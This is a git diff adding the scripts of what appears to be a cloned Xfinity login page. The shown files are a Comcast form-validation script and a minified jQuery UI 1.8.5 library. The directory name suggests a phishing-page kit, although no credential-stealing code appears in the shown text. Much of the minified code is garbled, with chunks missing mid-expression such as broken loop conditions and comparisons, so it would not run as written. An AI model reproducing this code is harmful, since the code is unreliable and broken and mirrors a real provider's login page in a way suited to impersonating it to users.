this.optional(element)||/^\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?\s*$/i.test(value)},"Please enter an IPv6 address in the format");$.validator.addMethod("mac",function(value,element){return this.optional(element)||/^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/i.test(value)},"Please enter an MAC address in the format xx:xx:xx:xx:xx:xx");$.validator.addClassRules({octet:{range:[0,255]},ipv4:{ipv4:true},ipv6:{ipv6:true},hexadecimal:{hexadecimal:true},exactlength:{exactlength:true}})}function setupTooltipInHeader(){$("#status li").mouseenter(function(){$(".tooltip",this).fadeIn()}).mouseleave(function(){$(".tooltip",this).fadeOut()})} +return{init:function(title,navElementId){document.title=title+" - "+document.title;setupLeftNavigation(navElementId);setupDeleteConfirmDialogs();setupBatteryIndicator();setupEducationalTip();setupFormValidation();setupFirewallDisplay();setupTooltipInHeader();try{document.execCommand("BackgroundImageCache",false,true)}catch(e){} +if($.browser.msie){$("input:radio, input:checkbox").click(function(){this.blur();this.focus()})}}}}();comcast.breakWord=function(originalString,characterLimit){var originalString=""+originalStrin +g;var characterLimit=parseInt(characterLimit);if(originalString.length<=0||characterLimit<=0){return} +var re=new RegExp("(\\w{"+characterLimit+"})","g");return originalString.replace(re,"$1 ")};$.fn.radioToButton=function(settings){var config={autoSubmitForm:false};if(settings){$.extend(config,settings)} +this.each(function(){var $c=$container=$(this);var $boxes=$c.find("li");$c.addClass("radiolist");$("li",$c).removeClass("selected");$("input:radio:checked",$c).parent().addClass("selected");$("label",$c).click(function(e){e.preventDefault();var $parent;var $radio;$boxes.removeClass("selected");$parent=$(this).parent().addClass("selected");$("input:radio",$c).attr("checked",false);$radio=$parent.find("input:radio").attr("checked",true);$c.trigger("change",[$radio.val()]);if(config.autoSubmitForm){$c.closest("form").submit()}})});return this}; diff --git a/Sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js b/Sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js new file mode 100644 index 0000000..30e2d3f --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js @@ -0,0 +1,778 @@ +/*! + * jQuery UI 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI + */ +(function(c,j){function k(a){return!c(a).parents().andSelf().filter(function(){return c.curCSS(this,"visibility")==="hidden"||c.expr.filters.hidden(this)}).length}c.ui=c.ui||{};if(!c.ui.version){c.extend(c.ui,{version:"1.8.5",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106, +NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});c.fn.extend({_focus:c.fn.focus,focus:function(a,b){return typeof a==="number"?this.each(function(){var d=this;setTimeout(function(){c(d).focus();b&&b.call(d)},a)}):this._focus.apply(this,arguments)},scrollParent:function(){var a;a=c.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(c.curCSS(this, +"position",1))&&/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!a.length?c(document):a},zIndex:function(a){if(a!==j)return this.css("zIndex",a);if(this.length){a=c(this[0]);for(var b;a.length&&a[0]!==document;){b=a.css("position"); +if(b==="absolute"||b==="relative"||b==="fixed"){b=parseInt(a.css("zIndex"));if(!isNaN(b)&&b!=0)return b}a=a.parent()}}return 0},disableSelection:function(){return this.bind("mousedown.ui-disableSelection selectstart.ui-disableSelection",function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});c.each(["Width","Height"],function(a,b){function d(f,g,l,m){c.each(e,function(){g-=parseFloat(c.curCSS(f,"padding"+this,true))||0;if(l)g-=parseFloat(c.curCSS(f, +"border"+this+"Width",true))||0;if(m)g-=parseFloat(c.curCSS(f,"margin"+this,true))||0});return g}var e=b==="Width"?["Left","Right"]:["Top","Bottom"],h=b.toLowerCase(),i={innerWidth:c.fn.innerWidth,innerHeight:c.fn.innerHeight,outerWidth:c.fn.outerWidth,outerHeight:c.fn.outerHeight};c.fn["inner"+b]=function(f){if(f===j)return i["inner"+b].call(this);return this.each(function(){c.style(this,h,d(this,f)+"px")})};c.fn["outer"+b]=function(f,g){if(typeof f!=="number")return i["outer"+b].call(this,f);return this.each(function(){c.style(this, +h,d(this,f,true,g)+"px")})}});c.extend(c.expr[":"],{data:function(a,b,d){return!!c.data(a,d[3])},focusable:function(a){var b=a.nodeName.toLowerCase(),d=c.attr(a,"tabindex");if("area"===b){b=a.parentNode;d=b.name;if(!a.href||!d||b.nodeName.toLowerCase()!=="map")return false;a=c("img[usemap=#"+d+"]")[0];return!!a&&k(a)}return(/input|select|textarea|button|object/.test(b)?!a.disabled:"a"==b?a.href||!isNaN(d):!isNaN(d))&&k(a)},tabbable:function(a){var b=c.attr(a,"tabindex");return(isNaN(b)||b>=0)&&c(a).is(":focusable")}}); +c(function(){var a=document.createElement("div"),b=document.body;c.extend(a.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});c.support.minHeight=b.appendChild(a).offsetHeight===100;b.removeChild(a).style.display="none"});c.extend(c.ui,{plugin:{add:function(a,b,d){a=c.ui[a].prototype;for(var e in d){a.plugins[e]=a.plugins[e]||[];a.plugins[e].push([b,d[e]])}},call:function(a,b,d){if((b=a.plugins[b])&&a.element[0].parentNode)for(var e=0;e0)return true;a[b]=1;d=a[b]>0;a[b]=0;return d},isOverAxis:function(a,b,d){return a>b&&a=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return true}})})(jQuery); +;/* + * jQuery UI Position 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Position + */ +(function(c){c.ui=c.ui||{};var n=/left|center|right/,o=/top|center|bottom/,t=c.fn.position,u=c.fn.offset;c.fn.position=function(b){if(!b||!b.of)return t.apply(this,arguments);b=c.extend({},b);var a=c(b.of),d=a[0],g=(b.collision||"flip").split(" "),e=b.offset?b.offset.split(" "):[0,0],h,k,j;if(d.nodeType===9){h=a.width();k=a.height();j={top:0,left:0}}else if(d.scrollTo&&d.document){h=a.width();k=a.height();j={top:a.scrollTop(),left:a.scrollLeft()}}else if(d.preventDefault){b.at="left top";h=k=0;j= +{top:b.of.pageY,left:b.of.pageX}}else{h=a.outerWidth();k=a.outerHeight();j=a.offset()}c.each(["my","at"],function(){var f=(b[this]||"").split(" ");if(f.length===1)f=n.test(f[0])?f.concat(["center"]):o.test(f[0])?["center"].concat(f):["center","center"];f[0]=n.test(f[0])?f[0]:"center";f[1]=o.test(f[1])?f[1]:"center";b[this]=f});if(g.length===1)g[1]=g[0];e[0]=parseInt(e[0],10)||0;if(e.length===1)e[1]=e[0];e[1]=parseInt(e[1],10)||0;if(b.at[0]==="right")j.left+=h;else if(b.at[0]==="center")j.left+=h/ +2;if(b.at[1]==="bottom")j.top+=k;else if(b.at[1]==="center")j.top+=k/2;j.left+=e[0];j.top+=e[1];return this.each(function(){var f=c(this),l=f.outerWidth(),m=f.outerHeight(),p=parseInt(c.curCSS(this,"marginLeft",true))||0,q=parseInt(c.curCSS(this,"marginTop",true))||0,v=l+p+parseInt(c.curCSS(this,"marginRight",true))||0,w=m+q+parseInt(c.curCSS(this,"marginBottom",true))||0,i=c.extend({},j),r;if(b.my[0]==="right")i.left-=l;else if(b.my[0]==="center")i.left-=l/2;if(b.my[1]==="bottom")i.top-=m;else if(b.my[1]=== +"center")i.top-=m/2;i.left=parseInt(i.left);i.top=parseInt(i.top);r={left:i.left-p,top:i.top-q};c.each(["left","top"],function(s,x){c.ui.position[g[s]]&&c.ui.position[g[s]][x](i,{targetWidth:h,targetHeight:k,elemWidth:l,elemHeight:m,collisionPosition:r,collisionWidth:v,collisionHeight:w,offset:e,my:b.my,at:b.at})});c.fn.bgiframe&&f.bgiframe();f.offset(c.extend(i,{using:b.using}))})};c.ui.position={fit:{left:function(b,a){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft(); +b.left=d>0?b.left-d:Math.max(b.left-a.collisionPosition.left,b.left)},top:function(b,a){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();b.top=d>0?b.top-d:Math.max(b.top-a.collisionPosition.top,b.top)}},flip:{left:function(b,a){if(a.at[0]!=="center"){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft();var g=a.my[0]==="left"?-a.elemWidth:a.my[0]==="right"?a.elemWidth:0,e=a.at[0]==="left"?a.targetWidth:-a.targetWidth,h=-2*a.offset[0]; +b.left+=a.collisionPosition.left<0?g+e+h:d>0?g+e+h:0}},top:function(b,a){if(a.at[1]!=="center"){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();var g=a.my[1]==="top"?-a.elemHeight:a.my[1]==="bottom"?a.elemHeight:0,e=a.at[1]==="top"?a.targetHeight:-a.targetHeight,h=-2*a.offset[1];b.top+=a.collisionPosition.top<0?g+e+h:d>0?g+e+h:0}}}};if(!c.offset.setOffset){c.offset.setOffset=function(b,a){if(/static/.test(c.curCSS(b,"position")))b.style.position="relative";var d= +c(b),g=d.offset(),e=parseInt(c.curCSS(b,"top",true),10)||0,h=parseInt(c.curCSS(b,"left",true),10)||0;g={top:a.top-g.top+e,left:a.left-g.left+h};"using"in a?a.using.call(b,g):d.css(g)};c.fn.offset=function(b){var a=this[0];if(!a||!a.ownerDocument)return null;if(b)return this.each(function(){c.offset.setOffset(this,b)});return u.call(this)}}})(jQuery); +;/* + * jQuery UI Draggable 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Draggables + * + * Depends: + * jquery.ui.core.js + * jquery.ui.mouse.js + * jquery.ui.widget.js + */ +(function(d){d.widget("ui.draggable",d.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:true,appendTo:"parent",axis:false,connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false},_create:function(){if(this.options.helper== +"original"&&!/^(?:r|a|f)/.test(this.element.css("position")))this.element[0].style.position="relative";this.options.addClasses&&this.element.addClass("ui-draggable");this.options.disabled&&this.element.addClass("ui-draggable-disabled");this._mouseInit()},destroy:function(){if(this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy();return this}},_mouseCapture:function(a){var b= +this.options;if(this.helper||b.disabled||d(a.target).is(".ui-resizable-handle"))return false;this.handle=this._getHandle(a);if(!this.handle)return false;return true},_mouseStart:function(a){var b=this.options;this.helper=this._createHelper(a);this._cacheHelperProportions();if(d.ui.ddmanager)d.ui.ddmanager.current=this;this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.positionAbs=this.element.offset();this.offset={top:this.offset.top- +this.margins.top,left:this.offset.left-this.margins.left};d.extend(this.offset,{click:{left:a.pageX-this.offset.left,top:a.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this.position=this._generatePosition(a);this.originalPageX=a.pageX;this.originalPageY=a.pageY;b.cursorAt&&this._adjustOffsetFromHelper(b.cursorAt);b.containment&&this._setContainment();if(this._trigger("start",a)===false){this._clear();return false}this._cacheHelperProportions(); +d.ui.ddmanager&&!b.dropBehaviour&&d.ui.ddmanager.prepareOffsets(this,a);this.helper.addClass("ui-draggable-dragging");this._mouseDrag(a,true);return true},_mouseDrag:function(a,b){this.position=this._generatePosition(a);this.positionAbs=this._convertPositionTo("absolute");if(!b){b=this._uiHash();if(this._trigger("drag",a,b)===false){this._mouseUp({});return false}this.position=b.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis|| +this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";d.ui.ddmanager&&d.ui.ddmanager.drag(this,a);return false},_mouseStop:function(a){var b=false;if(d.ui.ddmanager&&!this.options.dropBehaviour)b=d.ui.ddmanager.drop(this,a);if(this.dropped){b=this.dropped;this.dropped=false}if(!this.element[0]||!this.element[0].parentNode)return false;if(this.options.revert=="invalid"&&!b||this.options.revert=="valid"&&b||this.options.revert===true||d.isFunction(this.options.revert)&&this.options.revert.call(this.element, +b)){var c=this;d(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){c._trigger("stop",a)!==false&&c._clear()})}else this._trigger("stop",a)!==false&&this._clear();return false},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(a){var b=!this.options.handle||!d(this.options.handle,this.element).length?true:false;d(this.options.handle,this.element).find("*").andSelf().each(function(){if(this== +a.target)b=true});return b},_createHelper:function(a){var b=this.options;a=d.isFunction(b.helper)?d(b.helper.apply(this.element[0],[a])):b.helper=="clone"?this.element.clone():this.element;a.parents("body").length||a.appendTo(b.appendTo=="parent"?this.element[0].parentNode:b.appendTo);a[0]!=this.element[0]&&!/(fixed|absolute)/.test(a.css("position"))&&a.css("position","absolute");return a},_adjustOffsetFromHelper:function(a){if(typeof a=="string")a=a.split(" ");if(d.isArray(a))a={left:+a[0],top:+a[1]|| +0};if("left"in a)this.offset.click.left=a.left+this.margins.left;if("right"in a)this.offset.click.left=this.helperProportions.width-a.right+this.margins.left;if("top"in a)this.offset.click.top=a.top+this.margins.top;if("bottom"in a)this.offset.click.top=this.helperProportions.height-a.bottom+this.margins.top},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var a=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0], +this.offsetParent[0])){a.left+=this.scrollParent.scrollLeft();a.top+=this.scrollParent.scrollTop()}if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&d.browser.msie)a={top:0,left:0};return{top:a.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:a.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var a=this.element.position();return{top:a.top- +(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:a.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var a=this.options;if(a.containment== +"parent")a.containment=this.helper[0].parentNode;if(a.containment=="document"||a.containment=="window")this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,d(a.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(d(a.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(a.containment)&& +a.containment.constructor!=Array){var b=d(a.containment)[0];if(b){a=d(a.containment).offset();var c=d(b).css("overflow")!="hidden";this.containment=[a.left+(parseInt(d(b).css("borderLeftWidth"),10)||0)+(parseInt(d(b).css("paddingLeft"),10)||0)-this.margins.left,a.top+(parseInt(d(b).css("borderTopWidth"),10)||0)+(parseInt(d(b).css("paddingTop"),10)||0)-this.margins.top,a.left+(c?Math.max(b.scrollWidth,b.offsetWidth):b.offsetWidth)-(parseInt(d(b).css("borderLeftWidth"),10)||0)-(parseInt(d(b).css("paddingRight"), +10)||0)-this.helperProportions.width-this.margins.left,a.top+(c?Math.max(b.scrollHeight,b.offsetHeight):b.offsetHeight)-(parseInt(d(b).css("borderTopWidth"),10)||0)-(parseInt(d(b).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}}else if(a.containment.constructor==Array)this.containment=a.containment},_convertPositionTo:function(a,b){if(!b)b=this.position;a=a=="absolute"?1:-1;var c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0], +this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName);return{top:b.top+this.offset.relative.top*a+this.offset.parent.top*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():f?0:c.scrollTop())*a),left:b.left+this.offset.relative.left*a+this.offset.parent.left*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft(): +f?0:c.scrollLeft())*a)}},_generatePosition:function(a){var b=this.options,c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName),e=a.pageX,g=a.pageY;if(this.originalPosition){if(this.containment){if(a.pageX-this.offset.click.leftthis.containment[2])e=this.containment[2]+this.offset.click.left;if(a.pageY-this.offset.click.top>this.containment[3])g=this.containment[3]+this.offset.click.top}if(b.grid){g=this.originalPageY+Math.round((g-this.originalPageY)/b.grid[1])*b.grid[1];g=this.containment?!(g-this.offset.click.topthis.containment[3])?g:!(g-this.offset.click.topthis.containment[2])?e:!(e-this.offset.click.left').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1E3}).css(d(this).offset()).appendTo("body")})},stop:function(){d("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});d.ui.plugin.add("draggable","opacity",{start:function(a,b){a=d(b.helper);b=d(this).data("draggable").options; +if(a.css("opacity"))b._opacity=a.css("opacity");a.css("opacity",b.opacity)},stop:function(a,b){a=d(this).data("draggable").options;a._opacity&&d(b.helper).css("opacity",a._opacity)}});d.ui.plugin.add("draggable","scroll",{start:function(){var a=d(this).data("draggable");if(a.scrollParent[0]!=document&&a.scrollParent[0].tagName!="HTML")a.overflowOffset=a.scrollParent.offset()},drag:function(a){var b=d(this).data("draggable"),c=b.options,f=false;if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!= +"HTML"){if(!c.axis||c.axis!="x")if(b.overflowOffset.top+b.scrollParent[0].offsetHeight-a.pageY=0;h--){var i=c.snapElements[h].left,k=i+c.snapElements[h].width,j=c.snapElements[h].top,l=j+c.snapElements[h].height;if(i-e=j&&f<=l||h>=j&&h<=l||fl)&&(e>= +i&&e<=k||g>=i&&g<=k||ek);default:return false}};d.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(a,b){var c=d.ui.ddmanager.droppables[a.options.scope]||[],e=b?b.type:null,g=(a.currentItem||a.element).find(":data(droppable)").andSelf(),f=0;a:for(;f').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(), +top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle= +this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=a.handles||(!e(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne", +nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all")this.handles="n,e,s,w,se,sw,ne,nw";var c=this.handles.split(",");this.handles={};for(var d=0;d');/sw|se|ne|nw/.test(f)&&g.css({zIndex:++a.zIndex});"se"==f&&g.addClass("ui-icon ui-icon-gripsmall-diagonal-se");this.handles[f]=".ui-resizable-"+f;this.element.append(g)}}this._renderAxis=function(h){h=h||this.element;for(var i in this.handles){if(this.handles[i].constructor== +String)this.handles[i]=e(this.handles[i],this.element).show();if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var j=e(this.handles[i],this.element),k=0;k=/sw|ne|nw|se|n|s/.test(i)?j.outerHeight():j.outerWidth();j=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join("");h.css(j,k);this._proportionallyResize()}e(this.handles[i])}};this._renderAxis(this.element);this._handles=e(".ui-resizable-handle",this.element).disableSelection(); +this._handles.mouseover(function(){if(!b.resizing){if(this.className)var h=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);b.axis=h&&h[1]?h[1]:"se"}});if(a.autoHide){this._handles.hide();e(this.element).addClass("ui-resizable-autohide").hover(function(){e(this).removeClass("ui-resizable-autohide");b._handles.show()},function(){if(!b.resizing){e(this).addClass("ui-resizable-autohide");b._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var b=function(c){e(c).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()}; +if(this.elementIsWrapper){b(this.element);var a=this.element;a.after(this.originalElement.css({position:a.css("position"),width:a.outerWidth(),height:a.outerHeight(),top:a.css("top"),left:a.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);b(this.originalElement);return this},_mouseCapture:function(b){var a=false;for(var c in this.handles)if(e(this.handles[c])[0]==b.target)a=true;return!this.options.disabled&&a},_mouseStart:function(b){var a=this.options,c=this.element.position(), +d=this.element;this.resizing=true;this.documentScroll={top:e(document).scrollTop(),left:e(document).scrollLeft()};if(d.is(".ui-draggable")||/absolute/.test(d.css("position")))d.css({position:"absolute",top:c.top,left:c.left});e.browser.opera&&/relative/.test(d.css("position"))&&d.css({position:"relative",top:"auto",left:"auto"});this._renderProxy();c=m(this.helper.css("left"));var f=m(this.helper.css("top"));if(a.containment){c+=e(a.containment).scrollLeft()||0;f+=e(a.containment).scrollTop()||0}this.offset= +this.helper.offset();this.position={left:c,top:f};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:c,top:f};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:b.pageX,top:b.pageY};this.aspectRatio=typeof a.aspectRatio=="number"?a.aspectRatio: +this.originalSize.width/this.originalSize.height||1;a=e(".ui-resizable-"+this.axis).css("cursor");e("body").css("cursor",a=="auto"?this.axis+"-resize":a);d.addClass("ui-resizable-resizing");this._propagate("start",b);return true},_mouseDrag:function(b){var a=this.helper,c=this.originalMousePosition,d=this._change[this.axis];if(!d)return false;c=d.apply(this,[b,b.pageX-c.left||0,b.pageY-c.top||0]);if(this._aspectRatio||b.shiftKey)c=this._updateRatio(c,b);c=this._respectSize(c,b);this._propagate("resize", +b);a.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize();this._updateCache(c);this._trigger("resize",b,this.ui());return false},_mouseStop:function(b){this.resizing=false;var a=this.options,c=this;if(this._helper){var d=this._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName);d=f&&e.ui.hasScroll(d[0],"left")?0:c.sizeDiff.height; +f={width:c.size.width-(f?0:c.sizeDiff.width),height:c.size.height-d};d=parseInt(c.element.css("left"),10)+(c.position.left-c.originalPosition.left)||null;var g=parseInt(c.element.css("top"),10)+(c.position.top-c.originalPosition.top)||null;a.animate||this.element.css(e.extend(f,{top:g,left:d}));c.helper.height(c.size.height);c.helper.width(c.size.width);this._helper&&!a.animate&&this._proportionallyResize()}e("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop", +b);this._helper&&this.helper.remove();return false},_updateCache:function(b){this.offset=this.helper.offset();if(l(b.left))this.position.left=b.left;if(l(b.top))this.position.top=b.top;if(l(b.height))this.size.height=b.height;if(l(b.width))this.size.width=b.width},_updateRatio:function(b){var a=this.position,c=this.size,d=this.axis;if(b.height)b.width=c.height*this.aspectRatio;else if(b.width)b.height=c.width/this.aspectRatio;if(d=="sw"){b.left=a.left+(c.width-b.width);b.top=null}if(d=="nw"){b.top= +a.top+(c.height-b.height);b.left=a.left+(c.width-b.width)}return b},_respectSize:function(b){var a=this.options,c=this.axis,d=l(b.width)&&a.maxWidth&&a.maxWidthb.width,h=l(b.height)&&a.minHeight&&a.minHeight>b.height;if(g)b.width=a.minWidth;if(h)b.height=a.minHeight;if(d)b.width=a.maxWidth;if(f)b.height=a.maxHeight;var i=this.originalPosition.left+this.originalSize.width,j=this.position.top+this.size.height, +k=/sw|nw|w/.test(c);c=/nw|ne|n/.test(c);if(g&&k)b.left=i-a.minWidth;if(d&&k)b.left=i-a.maxWidth;if(h&&c)b.top=j-a.minHeight;if(f&&c)b.top=j-a.maxHeight;if((a=!b.width&&!b.height)&&!b.left&&b.top)b.top=null;else if(a&&!b.top&&b.left)b.left=null;return b},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var b=this.helper||this.element,a=0;a');var a=e.browser.msie&&e.browser.version<7,c=a?1:0;a=a?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+a,height:this.element.outerHeight()+a,position:"absolute",left:this.elementOffset.left-c+"px",top:this.elementOffset.top-c+"px",zIndex:++b.zIndex});this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(b,a){return{width:this.originalSize.width+ +a}},w:function(b,a){return{left:this.originalPosition.left+a,width:this.originalSize.width-a}},n:function(b,a,c){return{top:this.originalPosition.top+c,height:this.originalSize.height-c}},s:function(b,a,c){return{height:this.originalSize.height+c}},se:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[b,a,c]))},sw:function(b,a,c){return 